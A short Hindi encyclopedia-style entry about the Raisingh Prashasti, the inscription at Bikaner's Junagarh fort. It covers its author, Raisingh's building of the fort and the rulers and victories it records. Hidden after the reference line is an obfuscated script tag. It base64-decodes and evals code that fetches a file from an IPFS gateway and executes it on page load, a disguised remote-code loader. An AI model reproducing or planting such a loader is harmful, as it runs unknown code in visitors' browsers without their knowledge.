रायसिंह की प्रशस्ति

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रायसिंह की प्रशस्ति राजस्थान में बीकानेर के जूनागढ़ दुर्ग के दरवाजे पर लिखी है। इसके रचयिता जैन मुनि जइता या जैता थे जो क्षेमरत्न के शिष्य थे।

  • राव कल्याणमल की मृत्यु के बाद राव रायसिंह को बीकानेर का शासक बनाया गया था। इन्होंने 1594 में बीकानेर के सुदृढ़ जूनागढ़ दुर्ग का निर्माण करवाया। इन्होंने किले के भीतर एक प्रशस्ति लिखवाई, जिसे अब 'रायसिंह प्रशस्ति' कहते हैं। इस प्रशस्ती में इन्हें राजेन्द्र कहा गया है।
  • इसमें बीका से रायसिंह तक के बीकानेर के शासकों की उपलब्धियों का वर्णन मिलता है।
  • 60वीं पंक्ति में रायसिंह के कार्यों का उल्लेख आरंभ होता है, जिनमें काबुलियों, सिंधियों और कच्छियों पर विजय मुख्य है।[1]


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टीका टिप्पणी और संदर्भ

  1. राजस्थान के अभिलेख (हिंदी) govtexamsuccess.com। अभिगमन तिथि: 15 दिसम्बर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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